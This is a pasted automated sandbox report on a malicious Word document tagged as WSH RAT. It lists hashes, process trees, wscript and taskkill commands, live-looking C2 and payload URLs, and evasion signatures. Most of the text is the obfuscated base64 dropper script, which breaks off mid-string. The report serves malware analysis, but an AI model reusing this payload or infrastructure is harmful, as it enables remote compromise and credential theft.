API tools faq
paste
paladin316

Docs_f43a7bb1e11923feb94b42d16c172aba_doc_2019-07-09_19_30.txt

paladin316
Jul 9th, 2019
2,267
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 185.78 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Wshrat"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Docs_f43a7bb1e11923feb94b42d16c172aba.doc"
  7. * File Size: 803977
  8. * File Type: "ASCII text, with very long lines, with no line terminators"
  9. * SHA256: "1a993a53a20c18d9372832e634bad0a19171e97b6070145b1009dec028bae404"
  10. * MD5: "f43a7bb1e11923feb94b42d16c172aba"
  11. * SHA1: "48b42815efb407e75f48fd6060e54573007ff92f"
  12. * SHA512: "0ce9455fb5ac4b0f5359de781a5ab5bcaaf611e505f014d59f72f5d04e81f883aa0e01acd27074ee77d0327b31a16600d1514bd988a7ce84df48c134ebe5303e"
  13. * CRC32: "2B8FD7E1"
  14. * SSDEEP: "3072:pH7SwI+GMqAGYdk1ie1zHZ9QuCZqXjPGv7MJfI9FuUo/WegZ/lE3aP5vdXMBUxD0:YV"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE",
  18. "wscript.exe",
  19. "wscript.exe",
  20. "wscript.exe",
  21. "wscript.exe",
  22. "cmd.exe",
  23. "taskkill.exe",
  24. "cmd.exe",
  25. "taskkill.exe",
  26. "cmd.exe",
  27. "taskkill.exe",
  28. "svchost.exe",
  29. "WmiPrvSE.exe",
  30. "svchost.exe",
  31. "WMIADAP.exe"
  32.  
  33.  
  34. * Executed Commands:
  35. "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\AppData\\Roaming\\svchost.js\"",
  36. "C:\\Users\\user\\AppData\\Roaming\\svchost.js ",
  37. "\"C:\\PROGRA~2\\COMMON~1\\MICROS~1\\DW\\DW20.EXE\" -x -s 1160",
  38. "\"C:\\Windows\\System32\\wscript.exe\" //B \"C:\\Users\\user\\AppData\\Roaming\\tCWhffcbXR.js\"",
  39. "wscript //B \"C:\\Users\\user\\AppData\\Roaming\\tCWhffcbXR.js\"",
  40. "\"C:\\Windows\\system32\\cmd.exe\" /c taskkill /F /IM kl-plugin.exe",
  41. "C:\\Windows\\System32\\cmd.exe /c taskkill /F /IM kl-plugin.exe",
  42. "\"C:\\Windows\\system32\\cmd.exe\" /c taskkill /F /IM cmdc.exe",
  43. "C:\\Windows\\System32\\cmd.exe /c taskkill /F /IM cmdc.exe",
  44. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding",
  45. "taskkill /F /IM kl-plugin.exe",
  46. "\\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE wmiadap.exe /F /T /R",
  47. "taskkill /F /IM cmdc.exe"
  48.  
  49.  
  50. * Signatures Detected:
  51.  
  52. "Description": "Detected script timer window indicative of sleep style evasion",
  53. "Details":
  54.  
  55. "Window": "WSH-Timer"
  56.  
  57.  
  58.  
  59.  
  60. "Description": "A process attempted to delay the analysis task.",
  61. "Details":
  62.  
  63. "Process": "wscript.exe tried to sleep 720 seconds, actually delayed analysis time by 0 seconds"
  64.  
  65.  
  66. "Process": "svchost.exe tried to sleep 300 seconds, actually delayed analysis time by 0 seconds"
  67.  
  68.  
  69.  
  70.  
  71. "Description": "Attempts to connect to a dead IP:Port (7 unique times)",
  72. "Details":
  73.  
  74. "IP": "52.109.6.40:443"
  75.  
  76.  
  77. "IP": "104.18.24.243:80"
  78.  
  79.  
  80. "IP": "103.136.43.131:50001"
  81.  
  82.  
  83. "IP": "172.245.14.10:80"
  84.  
  85.  
  86. "IP": "185.247.228.27:7744"
  87.  
  88.  
  89. "IP": "52.109.92.24:443"
  90.  
  91.  
  92. "IP": "72.21.91.29:80"
  93.  
  94.  
  95.  
  96.  
  97. "Description": "A process created a hidden window",
  98. "Details":
  99.  
  100. "Process": "WINWORD.EXE -> C:\\Users\\user\\AppData\\Roaming\\svchost.js"
  101.  
  102.  
  103. "Process": "WINWORD.EXE -> C:\\Users\\user\\AppData\\Roaming\\svchost.js"
  104.  
  105.  
  106. "Process": "wscript.exe -> C:\\Windows\\System32\\cmd.exe"
  107.  
  108.  
  109. "Process": "wscript.exe -> C:\\Windows\\System32\\cmd.exe"
  110.  
  111.  
  112. "Process": "wscript.exe -> C:\\Windows\\System32\\cmd.exe"
  113.  
  114.  
  115. "Process": "svchost.exe -> \\\\?\\C:\\Windows\\system32\\wbem\\WMIADAP.EXE"
  116.  
  117.  
  118.  
  119.  
  120. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  121. "Details":
  122.  
  123. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  124.  
  125.  
  126. "suspicious_request": "http://mikelsonallen300.duckdns.org:50001/is-ready"
  127.  
  128.  
  129. "suspicious_request": "http://doughnut-snack.live/klplu.tar.gz"
  130.  
  131.  
  132. "suspicious_request": "http://doughnut-snack.live/bpvpl.tar.gz"
  133.  
  134.  
  135. "suspicious_request": "http://doughnut-snack.live/mapv.tar.gz"
  136.  
  137.  
  138.  
  139.  
  140. "Description": "Performs some HTTP requests",
  141. "Details":
  142.  
  143. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  144.  
  145.  
  146. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  147.  
  148.  
  149. "url": "http://mikelsonallen300.duckdns.org:50001/is-ready"
  150.  
  151.  
  152. "url": "http://doughnut-snack.live/klplu.tar.gz"
  153.  
  154.  
  155. "url": "http://doughnut-snack.live/bpvpl.tar.gz"
  156.  
  157.  
  158. "url": "http://doughnut-snack.live/mapv.tar.gz"
  159.  
  160.  
  161.  
  162.  
  163. "Description": "Tries to suspend Cuckoo threads to prevent logging of malicious activity",
  164. "Details":
  165.  
  166. "Process": "WINWORD.EXE (2584)"
  167.  
  168.  
  169.  
  170.  
  171. "Description": "Executes obfuscated JavaScript which drops an executable file",
  172. "Details":
  173.  
  174. "dropper_script": "try\r\nvar longText1 = \"ZnVuY3Rpb24gbWlzc2lPTkNyaXQoKXt9CnZhciBmb3JUWW1QSCA9IEFycmF5KCk7Ci8vb0pJTUEKZm9yVFltUEhbMF0gPSBBcnJheSgpOwpmb3JUWW1QSFsxXSA9IEFycmF5KCk7CmZvclRZbVBIWzJdID0gQXJyYXkoKTsKZm9yVFltUEhbM10gPSBBcnJheSgpOwoKZm9yVFltUEhbMF1bMF0gPSA2NTsKZm9yVFltUEhbMF1bMV0gPSAxMDA7CmZvclRZbVBIWzBdWzJdID0gMTExOwpmb3JUWW1QSFswXVszXSA9IDEwMDsKZm9yVFltUEhbMF1bNF0gPSA5ODsKZm9yVFltUEhbMF1bNV0gPSA0NjsKZm9yVFltUEhbMF1bNl0gPSAxMTU7CmZvclRZbVBIWzBdWzddID0gMTE2Owpmb3JUWW1QSFswXVs4XSA9IDExNDsKZm9yVFltUEhbMF1bOV0gPSA2OTsKZm9yVFltUEhbMF1bMTBdID0gNjU7CmZvclRZbVBIWzBdWzExXSA9IDEwOTsKLy9hdGFLUEEKZm9yVFltUEhbMV1bMF0gPSA3NzsKZm9yVFltUEhbMV1bMV0gPSAxMDU7CmZvclRZbVBIWzFdWzJdID0gOTk7CmZvclRZbVBIWzFdWzNdID0gMTE0Owpmb3JUWW1QSFsxXVs0XSA9IDExMTsKZm9yVFltUEhbMV1bNV0gPSAxMTU7CmZvclRZbVBIWzFdWzZdID0gMTExOwpmb3JUWW1QSFsxXVs3XSA9IDEwMjsKZm9yVFltUEhbMV1bOF0gPSAxMTY7CmZvclRZbVBIWzFdWzldID0gNDY7CmZvclRZbVBIWzFdWzEwXSA9IDg4Owpmb3JUWW1QSFsxXVsxMV0gPSA3NzsKZm9yVFltUEhbMV1bMTJdID0gNzY7CmZvclRZbVBIWzFdWzEzXSA9IDY4Owpmb3JUWW1QSFsxXVsxNF0gPSA3OTsKZm9yVFltUEhbMV1bMTVdID0gNzc7Ci8vb0xPRFVtYXJlCmZvclRZbVBIWzJdWzBdID0gOTg7CmZvclRZbVBIWzJdWzFdID0gMTA1Owpmb3JUWW1QSFsyXVsyXSA9IDExMDsKZm9yVFltUEhbMl1bM10gPSA0NjsKZm9yVFltUEhbMl1bNF0gPSA5ODsKZm9yVFltUEhbMl1bNV0gPSA5NzsKZm9yVFltUEhbMl1bNl0gPSAxMTU7CmZvclRZbVBIWzJdWzddID0gMTAxOwpmb3JUWW1QSFsyXVs4XSA9IDU0Owpmb3JUWW1QSFsyXVs5XSA9IDUyOwovL3RpUkVECmZvclRZbVBIWzNdWzBdID0gODU7CmZvclRZbVBIWzNdWzFdID0gODQ7CmZvclRZbVBIWzNdWzJdID0gNzA7CmZvclRZbVBIWzNdWzNdID0gNTY7CmZvclRZbVBIWzNdWzRdID0gNjk7CmZvclRZbVBIWzNdWzVdID0gMTEwOwpmb3JUWW1QSFszXVs2XSA9IDk5Owpmb3JUWW1QSFszXVs3XSA9IDExMTsKZm9yVFltUEhbM11bOF0gPSAxMDA7CmZvclRZbVBIWzNdWzldID0gMTA1Owpmb3JUWW1QSFszXVsxMF0gPSAxMTA7CmZvclRZbVBIWzNdWzExXSA9IDEwMzsKCgp2YXIgaGVMUE1FR29kID0gZnVuY3Rpb24oU2hha01ILCBSZWRZRUFTVCwgREhMRXhwKXsKCQl0cnl7CgkJCVNoYWtNSC5kYXRhVHlwZSA9IFJlZFlFQVNULnR5cDsKCQkJU2hha01ILnRleHQgPSBESExFeHAuY29sTGVjVGVYVCgpOwoJCQlmb3JUWW1QSFsxXSA9IFNoYWtNSC5ub2RlVHlwZWRWYWx1ZTsKCQkJcmV0dXJuIDAKCQl9Y2F0Y2goZXgpewoJCQlyZXR1cm4gaGVMUE1FR29kKChXU2NyaXB0LkNyZWF0ZU9iamVjdChpbnNjaXNzb1JBUy5vYnNlclZFQVQoMSkpKS5jcmVhdGVFbGVtZW50KCJ0bXAiKSwgUmVkWUVBU1QsIERITEV4cCk7CgkJfQoJfQoKbWlzc2lPTkNyaXQucHJvdG90eXBlLm9ic2VyVkVBVCA9IGZ1bmN0aW9uKGluZGV4KXsKCXZhciBzcmV0ID0gIiI7Cglmb3IodmFyIGk9MDsgaSA8IGZvclRZbVBIW2luZGV4XS5sZW5ndGg7ICBpKyspewoJCXNyZXQgPSBzcmV0ICsgU3RyaW5nLmZyb21DaGFyQ29kZShmb3JUWW1QSFtpbmRleF1baV0pOwoJfQoJcmV0dXJuIHNyZXQ7Cn0KbWlzc2lPTkNyaXQucHJvdG90eXBlLmNociA9IGZ1bmN0aW9uKGNvZGUpe3JldHVybiBTdHJpbmcuZnJvbUNoYXJmb3JUWW1QSChjb2RlKTt9CnZhciBpbnNjaXNzb1JBUyA9IG5ldyBtaXNzaU9OQ3JpdCgpOwoKdmFyIGJydUlTRVMgPSB7CglUT0JFWTogZnVuY3Rpb24oVHdvQ1VCcyl7CgkJcmV0dXJuIHtlZXA6IG5ldyBSZWdFeHAoVHdvQ1VCcywgU3RyaW5nLmZyb21DaGFyQ29kZSgxMDMpKX07Cgl9LAoJb2RvR1dVOiBmdW5jdGlvbihyZWcpewoJCXJldHVybiAiTHk4OFd5QnlaV052WkdWeUlEb2dhMjluYm1sMGJ5LT5Ab1l5a2djMnQ1Y0dVZ09pQnNhWFpsT25WdWEyNXZkMjR1YzJGc1pYTTJOQ0JkUGdvS0x5ODlMVDB0UFMwOUxUMGdZMjl1Wm1sbklEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlDZ3AyWVhJZ2FHOXpkQy0+QDlJQ0oxYm10dWIzZHVjMjltZEM1a2RXTnJaRzV6TG05eVp5STdDblpoY2lCd2IzSjBJRDBnTnpjME5Ec0tkbUZ5SUdsdWMzUmhiR3hrYVhJZ1BTLT5AaUpXRndjR1JoZEdFbElqc0tkbUZ5SUhKMWJrRnpRV1J0YVc0Z1BTQm1ZV3h6WlRzS2RtRnlJR3h1YTJacGJHVWdQU0IwY25WbE93cDJZWElnYkc1clptOXNaR1Z5SUQwZ2RISjFaVHNLQ21sbUtISjFia0Z6UVdSdGFXNGdQVDBnZEhKMVpTbDdDZ2x6ZEdGeWRIVndSV3hsZG1GMFpTZ3BPd3A5Q21sbUtGZFRZM0pwY0hRdVFYSm5kVzFsYm5SekxrNWhiV1ZrTGtWNGFYTjBjeWdpWld4bGRtRjBaV1FpS1MtPkA5UFNCMGNuVmxLWHNLQ1dScGMyRmliR1ZUWldOMWNtbDBlU2dwT3dwOUNpOHZQUzA5TFQwdFBTMDlJSEIxWW14cFl5QjJZWElnUFMwOUxUMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUW9LZG1GeUlITm9aV3hzYjJKcUlEMGdWMU5qY21sd2RDNWpjbVZoZEdWUFltcGxZM1FvSW5kelkzSnBjSFF1YzJobGJHd2lLVHNLZG1GeUlHWnBiR1Z6ZVhOMFpXMXZZbW9nUFNCWFUyTnlhWEIwTG1OeVpXRjBaVTlpYW1WamRDZ2ljMk55YVhCMGFXNW5MbVpwYkdWemVYTjBaVzF2WW1wbFkzUWlLVHNLZG1GeUlHaDBkSEJ2WW1vZ1BTQlhVMk55YVhCMExtTnlaV0YwWlU5aWFtVmpkQ2dpYlhONGJXd3lMbmh0YkdoMGRILT5AaUtUc0tDZ292THowdFBTMDlMVDB0UFNCd2NtbDJZWFFnZG1GeUlEMHRQUzA5TFQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5Q2dwMllYSWdhVzV6ZEdGc2JHNWhiV1VnUFNCWFUyTnlhWEIwTG5OamNtbHdkRTVoYldVN0NuWmhjaUJ6ZEdGeWRIVndJRDBnYzJobGJHeHZZbW91YzNCbFkybGhiRVp2YkdSbGNuTW9Jbk4wWVhKMGRYLT5AaUtTLT5AcklDSmNYQ0k3Q21sdWMzUmhiR3hrYVhJZ1BTQnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb2FXNXpkR0ZzYkdScGNpa2dLeS0+QGlYRndpT3dwcFppZ2habWxzWlhONWMzUmxiVzlpYWk1bWIyeGtaWEpGZUdsemRITW9hVzV6ZEdGc2JHUnBjaWtwZXktPkBnYVc1emRHRnNiR1JwY2ktPkA5SUhOb1pXeHNiMkpxTGtWNGNHRnVaRVZ1ZG1seWIyNXRaVzUwVTNSeWFXNW5jeWdpSlhSbGJYLT5AbElpa2dLeS0+QGlYRndpTzMwS2RtRnlJSE53YkdsMFpYSWdQUy0+QGlmQ0k3Q25aaGNpQnpaR3R3WVhSb0lEMGdhVzV6ZEdGc2JHUnBjaS0+QHJJQ0ozYzJoelpHc2lPd3AyWVhJZ2MyUnJabWxzWlMtPkA5SUhOa2EzQmhkR2dnS3ktPkBpWEZ3aUlDc2dZMmh5S0RFeE1pa2dLeUJqYUhJb01USXhLUy0+QHJJR05vY2lneE1UWXBJQ3NnWTJoeUtERXdOQ2tnS3lCamFISW9NVEV4S1MtPkBySUdOb2NpZ3hNVC0+QHBJQ3NnWTJoeUtEUTJLUy0+QHJJR05vY2lneE1ERXBJQ3NnWTJoeUtERXlNQ2tnS3lCamFISW9NVC0+QHhLVHNLZG1GeUlITnNaV1Z3SUQwZ05ULT5Ad01Ec2dDblpoY2lCeVpYTndiMjV6WlN3Z1kyMWtMQ0J3WVhKaGJTd2diMjVsYjI1alpUc0tDblpoY2lCcGJtWWdQUy0+QGlJanNLZG1GeUlIVnpZbk53Y21WaFpHbHVaeS0+QDlJQ0lpT3dwMllYSWdjM1JoY25Sa1lYUmxJRDBnSWlJN0Nnb3ZMejB0UFMwOUxUMHRQU0JqYjJSbElITjBZWEowSUQwdFBTMDlMVDB0UFMwOUxUMHRQUzA5TFQwdFBTMDlDZ3BwYm5OMFlXNWpaU2dwT3dvS2QyaHBiR1VvZEhKMVpTbDdDZ2wwY25sN0Nna0phVzV6ZEdGc2JDZ3BPd29LQ1FseVpYTndiMjV6WlMtPkA5SUNJaU93b2dJQy0+QGdJQy0+QGdJSEpsYzNCdmJuTmxJRDBnY0c5emRDLT5Ab0ltbHpMWEpsWVdSNUlpd2lJaWs3Q2drSlkyMWtJRDBnY21WemNHOXVjMlV1YzNCc2FYUW9jM0JzYVhSbGNpazdDZ2tKYzNkcGRHTm9LR050WkZzd1hTbDdDaS0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJR05oYzJVZ0ltUnBjMk52Ym01bFkzUWlPZ29KQ1FrSklDQlhVMk55YVhCMExuRjFhWFFvS1RzS0NRa0pDUy0+QGdZbkpsWVdzN0Nna0pDV05oYzJVZ0luSmxZbTl2ZENJNkNna0pDUWtnSUhOb1pXeHNiMkpxTG5KMWJpZ2lKV052YlhOd1pXTWxJQzlqSUhOb2RYUmtiM2R1SUM5eUlDOTBJRC0+QGdMMllpTEMtPkB3TENCMGNuVmxLVHNLQ1FrSkNTLT5AZ1luSmxZV3M3Q2drSkNXTmhjMlVnSW5Ob2RYUmtiM2R1SWpvS0NRa0pDUy0+QGdjMmhsYkd4dlltb3VjblZ1S0NJbFkyOXRjM0JsWXlVZ0wyTWdjMmgxZEdSdmQyNGdMM01nTDNRZ01DLT5AdlppSXNJRC0+QHNJSFJ5ZFdVcE93b0pDUWtKSUNCaWNtVmhhenNLSUMtPkBnSUMtPkBnSUMtPkBnSUMtPkBnWTJGelpTLT5AaVpYaGpaV04xZEdVaU9nb2dJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQy0+QGdJQ0J3WVhKaGJTLT5AOUlHTnRaRnN4WFRzS0NRa0pDUy0+QGdaWFpoYkNod1lYSmhiU2s3Q2drSkNRa2dJR0p5WldGck93b0pDUWxqWVhObElDSnBibk4wWVd4c0xYTmtheUk2Q2drSkNRa2dJR2x1YzNSaGJHeHpaR3NvS1RzS0NRa0pDUy0+QGdZbkpsWVdzN0Nna0pDV05oYzJVZ0ltZGxkQzF3WVhOeklqb0tDUWtKQ1MtPkBnY0dGemMyZHlZV0ppWlhJb1kyMWtXekZkTEMtPkBpWTIxa1l5NWxlR1VpTENCamJXUmJNbDBwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTLT5AaVoyVjBMWEJoYzNNdGIyWm1iR2x1WlNJNkNna0pDUWtnSUhCaGMzTm5jbUZpWW1WeUtHTnRaRnN6WFN3Z0ltTnRaR011WlhobElpd2dJbWxsSWlrN0Nna0pDUWtnSUhCaGMzTm5jbUZpWW1WeUtDSnVkV3hzSWl3Z0ltTnRaR011WlhobElpd2dJbU5vY205dFpTSXBPd29KQ1FrSklDQndZWE56WjNKaFltSmxjaWdpYm5Wc2JDSXNJQ0pqYldSakxtVjRaU0lzSUNKdGIzcHBiR3hoSWlrN0Nna0pDUWtnSUhCaGMzTm5jbUZpWW1WeU1paGpiV1JiTVYwc0lDSmpiV1JqTG1WNFpTSXNJR050WkZzeVhTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUNKMWNHUmhkR1VpT2dvSkNRa0pJQ0J3WVhKaGJTLT5AOUlISmxjM0J2Ym5ObExuTjFZbk4wY2loeVpYTndiMjV6WlM1cGJtUmxlRTltS0NKOElpa2dLeS0+QHhLVHNLQ1FrSkNTLT5AZ2IyNWxiMjVqWlM1amJHOXpaU2dwT3dvSkNRa0pJQ0J2Ym1WdmJtTmxJRDBnWm1sc1pYTjVjM1JsYlc5aWFpNXZjR1Z1VkdWNGRFWnBiR1VvYVc1emRHRnNiR1JwY2ktPkBySUdsdWMzUmhiR3h1WVcxbElDd3lMQ0JtWVd4elpTazdDZ2tKQ1FrZ0lHOXVaVzl1WTJVdWQzSnBkR1VvY0dGeVlXMHBPd29KQ1FrSklDQnZibVZ2Ym1ObExtTnNiM05sS0NrN0Nna0pDUWtnSUhOb1pXeHNiMkpxTG5KMWJpZ2lkM05qY21sd2RDNWxlR1VnTHk5Q0lGd2lJaS0+QHJJR2x1YzNSaGJHeGthWElnS3lCcGJuTjBZV3hzYm1GdFpTLT5AcklDSmNJaUlwT3dvSkNRa0pJQ0JYVTJOeWFYQjBMbkYxYVhRb0tUc0tDUWtKWTJGelpTLT5AaWRXNXBibk4wWVd4c0lqb0tDUWtKQ1MtPkBnZFc1cGJuTjBZV3hzS0NrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQ0oxY0MxdUxXVjRaV01pT2dvSkNRa0pJQ0JrYjNkdWJHOWhaQ2hqYldSYk1WMHNZMjFrV3pKZEtUc0tDUWtKQ1MtPkBnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJbUp5YVc1bkxXeHZaeUk2Q2drSkNRa2dJSFZ3Ykc5aFpDaHBibk4wWVd4c1pHbHlJQ3NnSW5kemFHeHZaM05jWENJZ0t5QmpiV1JiTVYwc0lDSjBZV3RsTFd4dlp5SXBPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlMtPkBpWkc5M2JpMXVMV1Y0WldNaU9nb0pDUWtKSUNCemFYUmxaRzkzYm14dllXUmxjaWhqYldSYk1WMHNZMjFrV3pKZEtUc0tDUWtKQ1MtPkBnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0ptYVd4bGJXRnVZV2RsY2lJNkNna0pDUWtnSUhObGNuWnBZMlZ6ZEdGeWRHVnlLR050WkZzeFhTd2dJbVp0TFhCc2RXZHBiaTVsZUdVaUxDQnBibVp2Y20xaGRHbHZiaWdwS1RzS0NRa0pDUy0+QGdZbkpsWVdzN0Nna0pDV05oYzJVZ0lDSnlaSC0+QGlPZ29KQ1FrSklDQnpaWEoyYVdObGMzUmhjblJsY2loamJXUmJNVjBzSUNKeVpDMXdiSFZuYVc0dVpYaGxJaXdnYVc1bWIzSnRZWFJwYjI0b0tTazdDZ2tKQ1FrZ0lHSnlaV0ZyT3dvSkNRbGpZWE5sSUMtPkBpYTJWNWJHOW5aMlZ5SWpvS0NRa0pDUy0+QGdhMlY1Ykc5bloyVnljM1JoY25SbGNpaGpiV1JiTVYwc0lDSnJiQzF3YkhWbmFXNHVaWGhsSWl3Z2FXNW1iM0p0WVhScGIyNG9LU3dnTUNrN0Nna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQy0+QGliMlptYkdsdVpTMXJaWGxzYjJkblpYSWlPZ29KQ1FrSklDQnJaWGxzYjJkblpYSnpkR0Z5ZEdWeUtHTnRaRnN4WFN3Z0ltdHNMWEJzZFdkcGJpNWxlR1VpTENCcGJtWnZjbTFoZEdsdmJpZ3BMQy0+QHhLVHNLQ1FrSkNTLT5AZ1luSmxZV3M3Q2drSkNXTmhjMlVnSUNKaWNtOTNjMlV0Ykc5bmN5STZDZ2tKQ1FrZ0lIQnZjM1FvSW1sekxXeHZaM01pTENCbGJuVnRabUZtS0dsdWMzUmhiR3hrYVhJZ0t5LT5AaWQzTm9iRzluY3lJcEtUc0tDUWtKQ1MtPkBnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pqYldRdGMyaGxiR3dpT2dvSkNRa0pJQ0J3WVhKaGJTLT5AOUlHTnRaRnN4WFRzS0NRa0pDUy0+QGdjRzl6ZENnaWFYTXRZMjFrTFhOb1pXeHNJaXhqYldSemFHVnNiQ2h3WVhKaGJTa3BPd29KQ1FrSklDQmljbVZoYXpzS0NRa0pZMkZ6WlMtPkBnSW1kbGRDMXdjbTlqWlhOelpYTWlPZ29KQ1FrSklDQndiM04wS0NKcGN5MXdjbTlqWlhOelpYTWlMQ0JsYm5WdGNISnZZMlZ6Y3lncEtUc0tDUWtKQ1MtPkBnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0prYVhOaFlteGxMWFZoWXlJNkNna0pDUWtnSUdScGMyRmliR1ZUWldOMWNtbDBlU2dwT3dvSkNRa0pJQ0IxY0dSaGRHVnpkR0YwZFhNb0lsVkJReXRFYVhOaFlteGxaQ3NvVW1WaWIyOTBLMUpsY1hWcGNtVmtLU0lwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTLT5AZ0ltTm9aV05yTFdWc2FXZHBZbXhsSWpvS0NRa0pDUy0+QGdhV1lvWm1sc1pYTjVjM1JsYlc5aWFpNW1hV3hsUlhocGMzUnpLR050WkZzeFhTa3Bld29KQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpU1hNclJXeHBaMmxpYkdVaUtUc0tDUWtKQ1MtPkBnZldWc2MyVjdDZ2tKQ1FrSmRYQmtZWFJsYzNSaGRIVnpLQ0pPYjNRclJXeHBaMmxpYkdVaUtUc0tDUWtKQ1MtPkBnZlFvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTLT5AZ0ltWnZjbU5sTFdWc2FXZHBZbXhsSWpvS0NRa0pDUy0+QGdhV1lvVjFOamNtbHdkQzVCY21kMWJXVnVkSE11VG1GdFpXUXVSWGhwYzNSektDSmxiR1YyWVhSbFpDSXBJRDA5SUhSeWRXVXBld29KQ1FrSkNXbG1LR1pwYkdWemVYTjBaVzF2WW1vdVptOXNaR1Z5UlhocGMzUnpLR050WkZzeFhTa3Bld29KQ1FrSkNRbHphR1ZzYkc5aWFpNXlkVzRvSWlWamIyMXpjR1ZqSlMtPkB2WXktPkBpSUNzZ1kyMWtXekpkTEMtPkB3TENCMGNuVmxLVHNLQ1FrSkNRa0pkWEJrWVhSbGMzUmhkSFZ6S0NKVFZVTkRSVk5USWlrN0Nna0pDUWtKZldWc2MyVjdDZ2tKQ1FrSkNYVndaR0YwWlhOMFlYUjFjeWdpUTI5dGNHOXVaVzUwSzAxcGMzTnBibWNpS1RzS0NRa0pDUWw5Q2drSkNRa2dJSDBLQ1FrSkNTLT5AZ1pXeHpaWHNLQ1FrSkNRbDFjR1JoZEdWemRHRjBkWE1vSWtWc1pYWmhkR2x2Yml0U1pYRjFhWEpsWkNJcE93b0pDUWtKSUNCOUNna0pDUWtnSUdKeVpXRnJPd29KQ1FsallYTmxJQy0+QGlaV3hsZG1GMFpTSTZDZ2tKQ1FrZ0lHbG1LRmRUWTNKcGNIUXVRWEpuZFcxbGJuUnpMazVoYldWa0xrVjRhWE4wY3lnaVpXeGxkbUYwWldRaUtTLT5AOVBTQm1ZV3h6WlNsN0Nna0pDUWtKZEhKNWV3b0pDUWtKQ1MtPkBnYjI1bGIyNWpaUzVqYkc5elpTZ3BPd29KQ1FrSkNTLT5AZ2IyNWxiMjVqWlMtPkA5SUc1MWJHdzdDZ2tKQ1FrSklDQlhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpVTJobGJHd3VRWEJ3YkdsallYUnBiMjRpS1M1VGFHVnNiRVY0WldOMWRHVW9JbmR6WTNKcGNIUXVaWGhsSWl3Z0lpLT5AdkwwSWdYQ0lpSUNzZ1YxTmpjbWx3ZEM1VFkzSnBjSFJHZFd4c1RtRnRaUy0+QHJJQ0pjSWktPkB2Wld4bGRtRjBaV1FpTEMtPkBpSWl3Z0luSjFibUZ6SWl3Z01TazdDZ2tKQ1FrSklDQjFjR1JoZEdWemRHRjBkWE1vSWtOc2FXVnVkQ3RGYkdWMllYUmxaQ0lwT3dvSkNRa0pDWDFqWVhSamFDaHViaWw3Q2drSkNRa0pmUW9KQ1FrSkNWZFRZM0pwY0hRdWNYVnBkQ2dwT3dvSkNRa0pJQ0I5Q2drSkNRa2dJR1ZzYzJWN0Nna0pDUWtnSS0+QGtnSUhWd1pHRjBaWE4wWVhSMWN5Z2lRMnhwWlc1MEswVnNaWFpoZEdWa0lpazdDZ2tKQ1FrZ0lIMEtDUWtKQ1MtPkBnWW5KbFlXczdDZ2tKQ1dOaGMyVWdJQ0pwWmkxbGJHVjJZWFJsSWpvS0NRa0pDUy0+QGdhV1lvVjFOamNtbHdkQzVCY21kMWJXVnVkSE11VG1GdFpXUXVSWGhwYzNSektDSmxiR1YyWVhSbFpDSXBJRDA5SUdaaGJITmxLWHNLQ1FrSkNRa2dJSFZ3WkdGMFpYTjBZWFIxY3lnaVEyeHBaVzUwSzA1dmRDdEZiR1YyWVhSbFpDSXBPd29KQ1FrSklDQjlDZ2tKQ1FrZ0lHVnNjMlY3Q2drSkNRa2dJLT5Aa2dJSFZ3WkdGMFpYTjBZWFIxY3lnaVEyeHBaVzUwSzBWc1pYWmhkR1ZrSWlrN0Nna0pDUWtnSUgwS0NRa0pDUy0+QGdZbkpsWVdzN0Nna0pDV05oYzJVZ0lDSnJhV3hzTFhCeWIyTmxjM01pT2dvSkNRa0pJQ0JsZUdsMGNISnZZMlZ6Y3loamJXUmJNVjBwT3dvSkNRa0pJQ0JpY21WaGF6c0tDUWtKWTJGelpTLT5AZ0luTnNaV1Z3SWpvS0NRa0pDUy0+QGdjR0Z5WVcwZ1BTQmpiV1JiTVYwN0Nna0pDUWtnSUhOc1pXVndJRDBnWlhaaGJDaHdZWEpoYlNrN0NpLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lDLT5AZ0lHSnlaV0ZyT3dvSkNYMEtDUWtLQ1gxallYUmphQ2hsY2lsN2ZRb0pWMU5qY21sd2RDNXpiR1ZsY0NoemJHVmxjQ2s3Q24wS0NtWjFibU4wYVc5dUlHbHVjM1JoYkd4elpHc29LWHNLQ1hSeWVYc0tDUWwyWVhJZ2MyUnJkWEpzSUQwZ2NHOXpkQ2